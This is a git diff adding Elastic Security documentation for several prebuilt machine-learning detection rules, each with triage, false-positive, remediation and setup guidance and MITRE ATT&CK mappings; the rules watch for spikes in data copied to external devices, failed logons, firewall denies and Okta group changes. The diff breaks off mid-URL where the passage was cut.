b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-spike-in-bytes-sent-to-an-external-device.asciidoc @@ -0,0 +1,136 @@ +[[prebuilt-rule-8-19-20-spike-in-bytes-sent-to-an-external-device]] +=== Spike in Bytes Sent to an External Device + +A machine learning job has detected high bytes of data written to an external device. In a typical operational setting, there is usually a predictable pattern or a certain range of data that is written to external devices. An unusually large amount of data being written is anomalous and can signal illicit data copying or transfer activities. + +*Rule type*: machine_learning + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 15m + +*Searches indices from*: now-2h ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html +* https://docs.elastic.co/en/integrations/ded +* https://www.elastic.co/blog/detect-data-exfiltration-activity-with-kibanas-new-integration + +*Tags*: + +* Use Case: Data Exfiltration Detection +* Rule Type: ML +* Rule Type: Machine Learning +* Tactic: Exfiltration +* Resources: Investigation Guide + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Spike in Bytes Sent to an External Device* + + +The detection rule leverages machine learning to identify anomalies in data transfer patterns to external devices, which typically follow predictable trends. Adversaries may exploit this by transferring large volumes of data to external media for exfiltration. The rule detects deviations from normal behavior, flagging potential illicit data transfers for further investigation. + + +*Possible investigation steps* + + +- Review the alert details to identify the specific external device involved and the volume of data transferred. +- Correlate the time of the anomaly with user activity logs to determine if the data transfer aligns with any known or authorized user actions. +- Check historical data transfer patterns for the involved device to assess whether the detected spike is truly anomalous or part of a legitimate operational change. +- Investigate the user account associated with the data transfer for any signs of compromise or unusual behavior, such as recent password changes or failed login attempts. +- Examine the content and type of data transferred, if possible, to assess the sensitivity and potential impact of the data exfiltration. +- Cross-reference the device and user activity with other security alerts or incidents to identify any related suspicious activities or patterns. + + +*False positive analysis* + + +- Regular backups to external devices can trigger false positives. Users should identify and exclude backup operations from the rule's scope by specifying known backup software or devices. +- Software updates or installations that involve large data transfers to external media may be misclassified. Users can create exceptions for these activities by defining specific update processes or installation paths. +- Data archiving processes that periodically transfer large volumes of data to external storage can be mistaken for exfiltration. Users should whitelist these scheduled archiving tasks by recognizing the associated patterns or schedules. +- Media content creation or editing, such as video production, often involves significant data transfers. Users can exclude these activities by identifying and excluding the relevant applications or file types. +- Temporary data transfers for legitimate business purposes, like transferring project files to a client, can be flagged. Users should document and exclude these known business processes by specifying the involved devices or file types. + + +*Response and remediation* + + +- Immediately isolate the affected device from the network to prevent further data exfiltration. +- Conduct a forensic analysis of the device to identify the source and scope of the data transfer, focusing on the files transferred and any associated processes or applications. +- Review and revoke any unnecessary permissions or access rights that may have facilitated the data transfer to the external device. +- Notify the security operations center (SOC) and relevant stakeholders about the incident for awareness and potential escalation. +- Implement additional monitoring on similar devices and network segments to detect any further anomalous data transfer activities. +- Update and enforce data transfer policies to restrict unauthorized use of external devices, ensuring compliance with organizational security standards. +- Consider deploying endpoint detection and response (EDR) solutions to enhance visibility and control over data movements to external devices. + +==== Setup + + + +*Setup* + + +The rule requires the Data Exfiltration Detection integration assets to be installed, as well as network and file events collected by integrations such as Elastic Defend and Network Packet Capture (for network events only). + + +*Data Exfiltration Detection Setup* + +The Data Exfiltration Detection integration detects data exfiltration activity by identifying abnormalities in network and file events. Anomalies are detected using Elastic's Anomaly Detection feature. + + +*Prerequisite Requirements:* + +- Fleet is required for Data Exfiltration Detection. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. +- File events collected by the Elastic Defend integration. +- To install Elastic Defend, refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[documentation]. + + +*The following steps should be executed to install assets associated with the Data Exfiltration Detection integration:* + +- Go to the Kibana homepage. Under Management, click Integrations. +- In the query bar, search for Data Exfiltration Detection and select the integration to see more details about it. +- Follow the instructions under the **Installation** section. +- For this rule to work, complete the instructions through **Add preconfigured anomaly detection jobs**. + + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over Physical Medium +** ID: T1052 +** Reference URL: https://attack.mitre.org/techniques/T1052/ +* Sub-technique: +** Name: Exfiltration over USB +** ID: T1052.001 +** Reference URL: https://attack.mitre.org/techniques/T1052/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-spike-in-failed-logon-events.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-spike-in-failed-logon-events.asciidoc new file mode 100644 index 0000000000..7a7a88f01d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-spike-in-failed-logon-events.asciidoc @@ -0,0 +1,192 @@ +[[prebuilt-rule-8-19-20-spike-in-failed-logon-events]] +=== Spike in Failed Logon Events + +A machine learning job found an unusually large spike in authentication failure events. This can be due to password spraying, user enumeration or brute force activity and may be a precursor to account takeover or credentialed access. + +*Rule type*: machine_learning + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 15m + +*Searches indices from*: now-30m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html + +*Tags*: + +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Rule Type: ML +* Rule Type: Machine Learning +* Tactic: Credential Access +* Resources: Investigation Guide + +*Version*: 108 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Spike in Failed Logon Events* + + +This rule uses a machine learning job to detect a substantial spike in failed authentication events. This could indicate attempts to enumerate users, password spraying, brute force, etc. + + +*Possible investigation steps* + + +- Identify the users involved and if the activity targets a specific user or a set of users. +- Check if the authentication comes from different sources. +- Investigate if the host where the failed authentication events occur is exposed to the internet. + - If the host is exposed to the internet, and the source of these attempts is external, the activity can be related to bot activity and possibly not directed at your organization. + - If the host is not exposed to the internet, investigate the hosts where the authentication attempts are coming from, as this can indicate that they are compromised and the attacker is trying to move laterally. +- Investigate other alerts associated with the involved users and hosts during the past 48 hours. +- Check whether the involved credentials are used in automation or scheduled tasks. +- If this activity is suspicious, contact the account owner and confirm whether they are aware of it. +- Investigate whether there are successful authentication events from the involved sources. This could indicate a successful brute force or password spraying attack. + + +*False positive analysis* + + +- If the account is used in automation tasks, it is possible that they are using expired credentials, causing a spike in authentication failures. +- Authentication failures can be related to permission issues. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Assess whether the asset should be exposed to the internet, and take action to reduce your attack surface. + - If the asset needs to be exposed to the internet, restrict access to remote login services to specific IPs. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires the installation of associated Machine Learning jobs, as well as data coming in from one of the following integrations: +- Elastic Defend +- Auditd Manager +- System + + +*Anomaly Detection Setup* + + +Once the rule is enabled, the associated Machine Learning job will start automatically. You can view the Machine Learning job linked under the "Definition" panel of the detection rule. If the job does not start due to an error, the issue must be resolved for the job to commence successfully. For more details on setting up anomaly detection jobs, refer to the https://www.elastic.co/guide/en/kibana/current/xpack-ml-anomalies.html[helper guide]. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration to your system:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +*Auditd Manager Integration Setup* + +The Auditd Manager Integration receives audit events from the Linux Audit Framework which is a part of the Linux kernel. +Auditd Manager provides a user-friendly interface and automation capabilities for configuring and monitoring system auditing through the auditd daemon. With `auditd_manager`, administrators can easily define audit rules, track system events, and generate comprehensive audit reports, improving overall security and compliance in the system. + + +*The following steps should be executed in order to add the Elastic Agent System integration "auditd_manager" to your system:* + +- Go to the Kibana home page and click “Add integrations”. +- In the query bar, search for “Auditd Manager” and select the integration to see more details about it. +- Click “Add Auditd Manager”. +- Configure the integration name and optionally add a description. +- Review optional and advanced settings accordingly. +- Add the newly installed “auditd manager” to an existing or a new agent policy, and deploy the agent on a Linux system from which auditd log files are desirable. +- Click “Save and Continue”. +- For more details on the integration refer to the https://docs.elastic.co/integrations/auditd_manager[helper guide]. + + +*Rule Specific Setup Note* + +Auditd Manager subscribes to the kernel and receives events as they occur without any additional configuration. +However, if more advanced configuration is required to detect specific behavior, audit rules can be added to the integration in either the "audit rules" configuration box or the "auditd rule files" box by specifying a file to read the audit rules from. +- For this detection rule no additional audit rules are required. + + +*System Integration Setup* + +The System integration allows you to collect system logs and metrics from your servers with Elastic Agent. + + +*The following steps should be executed in order to add the Elastic Agent System integration "system" to your system:* + +- Go to the Kibana home page and click “Add integrations”. +- In the query bar, search for “System” and select the integration to see more details about it. +- Click “Add System”. +- Configure the integration name and optionally add a description. +- Review optional and advanced settings accordingly. +- Add the newly installed “system” to an existing or a new agent policy, and deploy the agent on your system from which system log files are desirable. +- Click “Save and Continue”. +- For more details on the integration refer to the https://docs.elastic.co/integrations/system[helper guide]. + + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Brute Force +** ID: T1110 +** Reference URL: https://attack.mitre.org/techniques/T1110/ +* Sub-technique: +** Name: Password Guessing +** ID: T1110.001 +** Reference URL: https://attack.mitre.org/techniques/T1110/001/ +* Sub-technique: +** Name: Password Spraying +** ID: T1110.003 +** Reference URL: https://attack.mitre.org/techniques/T1110/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-spike-in-firewall-denies.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-spike-in-firewall-denies.asciidoc new file mode 100644 index 0000000000..de7a3edd1e --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-spike-in-firewall-denies.asciidoc @@ -0,0 +1,203 @@ +[[prebuilt-rule-8-19-20-spike-in-firewall-denies]] +=== Spike in Firewall Denies + +A machine learning job detected an unusually large spike in network traffic that was denied by network access control lists (ACLs) or firewall rules. Such a burst of denied traffic is usually caused by either 1) a mis-configured application or firewall or 2) suspicious or malicious activity. Unsuccessful attempts at network transit, in order to connect to command-and-control (C2), or engage in data exfiltration, may produce a burst of failed connections. This could also be due to unusually large amounts of reconnaissance or enumeration traffic. Denial-of-service attacks or traffic floods may also produce such a surge in traffic. + +*Rule type*: machine_learning + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 15m + +*Searches indices from*: now-30m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html + +*Tags*: + +* Use Case: Threat Detection +* Rule Type: ML +* Rule Type: Machine Learning +* Resources: Investigation Guide + +*Version*: 109 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Spike in Firewall Denies* + + +Firewalls and ACLs are critical in controlling network traffic, blocking unauthorized access. Adversaries may exploit misconfigurations or launch attacks like reconnaissance or denial-of-service to overwhelm these defenses. The 'Spike in Firewall Denies' detection rule leverages machine learning to identify unusual surges in denied traffic, signaling potential misconfigurations or malicious activities. + + +*Possible investigation steps* + + +- Review the time frame and source IP addresses associated with the spike in denied traffic to identify any patterns or anomalies. +- Check the firewall and ACL logs for any recent changes or misconfigurations that could have led to the increase in denied traffic. +- Investigate the destination IP addresses and ports targeted by the denied traffic to determine if they are associated with known malicious activity or if they are legitimate services. +- Analyze the volume and frequency of the denied requests to assess whether they align with typical denial-of-service attack patterns or reconnaissance activities. +- Correlate the denied traffic with other security alerts or logs to identify any related suspicious activities or potential indicators of compromise within the network. + + +*False positive analysis* + + +- Routine network scans by security tools or IT teams may trigger spikes in denied traffic. Regularly review and whitelist known IP addresses or tools to prevent these from being flagged. +- Misconfigured applications that frequently attempt unauthorized access can cause false positives. Identify and correct these configurations to reduce unnecessary alerts. +- Legitimate but high-volume business applications might generate traffic patterns similar to reconnaissance activities. Monitor and document these applications, and create exceptions for their traffic patterns. +- Scheduled maintenance or updates can lead to temporary spikes in denied traffic. Coordinate with IT teams to anticipate these events and adjust monitoring rules accordingly. +- Internal network changes, such as new device deployments or network architecture updates, might cause unexpected traffic patterns. Ensure these changes are communicated and accounted for in the firewall rules to minimize false positives. + + +*Response and remediation* + + +- Immediately isolate affected systems or segments of the network to prevent further unauthorized access or potential spread of malicious activity. +- Analyze the denied traffic logs to identify the source IP addresses and block them at the firewall or ACL level to prevent further attempts. +- Review and correct any misconfigurations in firewall rules or ACLs that may have contributed to the spike in denied traffic. +- Conduct a thorough investigation to determine if the spike is related to a denial-of-service attack and, if confirmed, engage with your internet service provider (ISP) for additional support and mitigation strategies. +- If malicious activity is suspected, escalate the incident to the security operations center (SOC) or incident response team for further analysis and response. +- Implement additional monitoring and alerting for similar patterns of denied traffic to enhance early detection of potential threats. +- Document the incident, including actions taken and lessons learned, to improve future response efforts and update incident response plans accordingly. + +==== Setup + + + +*Setup* + + +This rule requires the installation of associated Machine Learning jobs, as well as data coming in from one of the following integrations: +- Elastic Defend +- Network Packet Capture + + +*Anomaly Detection Setup* + + +Once the rule is enabled, the associated Machine Learning job will start automatically. You can view the Machine Learning job linked under the "Definition" panel of the detection rule. If the job does not start due to an error, the issue must be resolved for the job to commence successfully. For more details on setting up anomaly detection jobs, refer to the https://www.elastic.co/guide/en/kibana/current/xpack-ml-anomalies.html[helper guide]. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration to your system:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +*Network Packet Capture Integration Setup* + +The Network Packet Capture integration sniffs network packets on a host and dissects known protocols. Monitoring the network traffic is critical to gaining observability and securing your environment — ensuring high levels of performance and security. The Network Packet Capture integration captures the network traffic between your application servers, decodes common application layer protocols and records the interesting fields for each transaction. + + +*The following steps should be executed in order to add the Elastic Agent System integration "network_traffic" to your system:* + +- Go to the Kibana home page and click “Add integrations”. +- In the query bar, search for “Network Packet Capture” and select the integration to see more details about it. +- Click “Add Network Packet Capture”. +- Configure the integration name and optionally add a description. +- Review optional and advanced settings accordingly. +- Add the newly installed “network_traffic” to an existing or a new agent policy, and deploy the agent on your system from which network log files are desirable. +- Click “Save and Continue”. +- For more details on the integration refer to the https://docs.elastic.co/integrations/network_traffic[helper guide]. + + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over C2 Channel +** ID: T1041 +** Reference URL: https://attack.mitre.org/techniques/T1041/ +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Remote System Discovery +** ID: T1018 +** Reference URL: https://attack.mitre.org/techniques/T1018/ +* Technique: +** Name: Network Service Discovery +** ID: T1046 +** Reference URL: https://attack.mitre.org/techniques/T1046/ +* Tactic: +** Name: Reconnaissance +** ID: TA0043 +** Reference URL: https://attack.mitre.org/tactics/TA0043/ +* Technique: +** Name: Gather Victim Network Information +** ID: T1590 +** Reference URL: https://attack.mitre.org/techniques/T1590/ +* Technique: +** Name: Active Scanning +** ID: T1595 +** Reference URL: https://attack.mitre.org/techniques/T1595/ +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Network Denial of Service +** ID: T1498 +** Reference URL: https://attack.mitre.org/techniques/T1498/ +* Technique: +** Name: Endpoint Denial of Service +** ID: T1499 +** Reference URL: https://attack.mitre.org/techniques/T1499/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-spike-in-group-application-assignment-change-events.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-spike-in-group-application-assignment-change-events.asciidoc new file mode 100644 index 0000000000..00a1539322 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-spike-in-group-application-assignment-change-events.asciidoc @@ -0,0 +1,147 @@ +[[prebuilt-rule-8-19-20-spike-in-group-application-assignment-change-events]] +=== Spike in Group Application Assignment Change Events + +A machine learning job has identified an unusual spike in Okta group application assignment change events, indicating potential privileged access activity. Threat actors might be assigning applications to groups to escalate access, maintain persistence, or facilitate lateral movement within an organization’s environment. + +*Rule type*: machine_learning + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 15m + +*Searches indices from*: now-3h ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html +* https://docs.elastic.co/en/integrations/pad + +*Tags*: + +* Use Case: Privileged Access Detection +* Rule Type: ML +* Rule Type: Machine Learning +* Tactic: Privilege Escalation +* Resources: Investigation Guide + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Spike in Group Application Assignment Change Events* + + +In modern environments, identity and access management systems like Okta manage user access to applications. Adversaries may exploit these systems by altering group application assignments to gain unauthorized access or escalate privileges. The detection rule leverages machine learning to identify unusual spikes in these changes, signaling potential misuse and enabling timely investigation of privilege escalation activities. + + +*Possible investigation steps* + + +- Review the specific group application assignment change events that triggered the alert to identify which groups and applications were involved. +- Analyze the timeline of the changes to determine if there is a pattern or specific time frame when the spike occurred. +- Investigate the user accounts associated with the changes to assess if they have a history of suspicious activity or if they belong to high-risk roles. +- Check for any recent changes in group membership or application access policies that could explain the spike in assignment changes. +- Correlate the events with other security alerts or logs to identify any concurrent suspicious activities, such as failed login attempts or unusual access patterns. +- Consult with the IT or security team to verify if there were any legitimate administrative activities or changes that could have caused the spike. + + +*False positive analysis* + + +- Routine administrative changes in group application assignments can trigger false positives. Regularly review and document these changes to differentiate them from suspicious activities. +- Automated processes or scripts that frequently update group assignments may cause spikes. Identify and whitelist these processes to prevent unnecessary alerts. +- Organizational restructuring or onboarding/offboarding activities can lead to increased group assignment changes. Temporarily adjust the detection thresholds or exclude these events during known periods of high activity. +- Changes related to application updates or migrations might be flagged. Coordinate with IT teams to schedule these changes and exclude them from monitoring during the update window. +- Frequent changes by trusted users or administrators can be excluded by creating exceptions for specific user accounts or roles, ensuring that only unexpected changes trigger alerts. + + +*Response and remediation* + + +- Immediately isolate affected user accounts and groups to prevent further unauthorized access or privilege escalation. +- Revert any unauthorized group application assignments to their previous state to mitigate potential misuse. +- Conduct a thorough review of recent changes in group application assignments to identify any additional unauthorized modifications. +- Escalate the incident to the security operations center (SOC) for further investigation and to determine if additional systems or accounts have been compromised. +- Implement additional monitoring on the affected accounts and groups to detect any further suspicious activity. +- Review and update access controls and group assignment policies to prevent similar unauthorized changes in the future. +- Coordinate with the IT and security teams to ensure that all affected systems and applications are patched and secured against known vulnerabilities. + +==== Setup + + + +*Setup* + + +The rule requires the Privileged Access Detection integration assets to be installed, as well as Okta logs collected by integrations such as Okta. + + +*Privileged Access Detection Setup* + +The Privileged Access Detection integration detects privileged access activity by identifying abnormalities in Windows, Linux and Okta events. Anomalies are detected using Elastic's Anomaly Detection feature. + + +*Prerequisite Requirements:* + +- Fleet is required for Privileged Access Detection. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. +- Okta events collected by https://docs.elastic.co/en/integrations/okta[Okta] integration. +- To add the Okta integration to an Elastic Agent policy, refer to https://www.elastic.co/guide/en/fleet/current/add-integration-to-policy.html[this] guide. + + +*The following steps should be executed to install assets associated with the Privileged Access Detection integration:* + +- Go to the Kibana homepage. Under Management, click Integrations. +- In the query bar, search for Privileged Access Detection and select the integration to see more details about it. +- Follow the instructions under the **Installation** section. +- For this rule to work, complete the instructions through **Add preconfigured anomaly detection jobs**. + + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-spike-in-group-lifecycle-change-events.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-spike-in-group-lifecycle-change-events.asciidoc new file mode 100644 index 0000000000..67e76323fe --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-spike-in-group-lifecycle-change-events.asciidoc @@ -0,0 +1,155 @@ +[[prebuilt-rule-8-19-20-spike-in-group-lifecycle-change-events]] +=== Spike in Group Lifecycle Change Events + +A machine learning job has identified an unusual spike in Okta group lifecycle change events, indicating potential privileged access activity. Adversaries may be altering group structures to escalate privileges, maintain persistence, or facilitate lateral movement within an organization’s identity management system. + +*Rule type*: machine_learning + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 15m + +*Searches indices from*: now-3h ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/guide/en/security/current/prebuilt-ml-jobs.html +* https://docs.elastic.co/en/integrations/pad + +*Tags*: + +* Use Case: Privileged Access Detection +* Rule Type: ML +* Rule Type: Machine Learning +* Tactic: Privilege Escalation +* Resources: Investigation Guide + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Spike in Group Lifecycle Change Events* + + +In identity management systems like Okta, group lifecycle changes are crucial for managing user access and permissions. Adversaries may exploit these changes to escalate privileges or maintain unauthorized access. The detection rule leverages machine learning to identify unusual spikes in these events, signaling potential misuse. By focusing on privilege escalation tactics, it helps security analysts pinpoint and investigate suspicious activities. + + +*Possible investigation steps* + + +- Review the specific group lifecycle change events that triggered the alert to identify which groups were altered and the nature of the changes. +- Examine the user accounts associated with the changes to determine if they have a history of suspicious activity or if they have recently been granted elevated privileges. +- Check the timestamps of the group changes to see if they coincide with other unusual activities or known attack patterns within the organization. +- Investigate any recent access requests or approvals related to the affected groups to ensure they were legitimate and authorized. +- Correlate the group changes with other security alerts or logs to identify potential lateral movement or privilege escalation attempts by adversaries. +- Assess the current membership of the affected groups to ensure no unauthorized users have been added or legitimate users removed. + + +*False positive analysis* + + +- Routine administrative changes in group memberships can trigger false positives. Security teams should identify and whitelist these regular activities to prevent unnecessary alerts. +- Automated processes or scripts that modify group structures for legitimate reasons may cause spikes. Exclude these known processes by creating exceptions in the detection rule. +- Large-scale onboarding or offboarding events can lead to a temporary increase in group lifecycle changes. Coordinate with HR or relevant departments to anticipate these events and adjust monitoring thresholds accordingly. +- Changes due to system integrations or updates might be misinterpreted as suspicious. Document and exclude these events by maintaining an updated list of integration activities. +- Regular audits or compliance checks that involve group modifications should be recognized and filtered out to avoid false alarms. + + +*Response and remediation* + + +- Immediately isolate affected user accounts and groups to prevent further unauthorized access or privilege escalation. This can be done by temporarily disabling accounts or removing them from critical groups. +- Conduct a thorough review of recent group lifecycle changes to identify unauthorized modifications. Revert any unauthorized changes to restore the original group structures and permissions. +- Implement additional monitoring on the affected accounts and groups to detect any further suspicious activities. This includes setting up alerts for any new group changes or access attempts. +- Escalate the incident to the security operations team for a deeper investigation into potential lateral movement or persistence mechanisms used by the adversary. +- Review and update access controls and group management policies to ensure they align with the principle of least privilege, minimizing the risk of privilege escalation. +- Coordinate with the IT and security teams to apply patches or updates to any vulnerabilities identified during the investigation that may have been exploited for privilege escalation. +- Document the incident, including all actions taken, and conduct a post-incident review to identify lessons learned and improve future response strategies. + +==== Setup + + + +*Setup* + + +The rule requires the Privileged Access Detection integration assets to be installed, as well as Okta logs collected by integrations such as Okta. + + +*Privileged Access Detection Setup* + +The Privileged Access Detection integration detects privileged access activity by identifying abnormalities in Windows, Linux and Okta events. Anomalies are detected using Elastic's Anomaly Detection feature. + + +*Prerequisite Requirements:* + +- Fleet is required for Privileged Access Detection. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. +- Okta events collected by https://docs.elastic.co/en/integrations/okta[Okta] integration. +- To add the Okta integration to an Elastic Agent policy, refer to https://www.elastic.co/guide/en/fleet/current/add-integration-to-policy.html[this] guide. + + +*The following steps should be executed to install assets associated with the Privileged Access Detection integration:* + +- Go to the Kibana homepage. Under Management, click Integrations. +- In the query bar, search for Privileged Access Detection and select the integration to see more details about it. +- Follow the instructions under the **Installation** section. +- For this rule to work, complete the instructions through **Add preconfigured anomaly detection jobs**. + + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Exploitation for Privilege Escalation +** ID: T1068 +** Reference URL: https://attack.mitre.org/techniques/T1068/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: 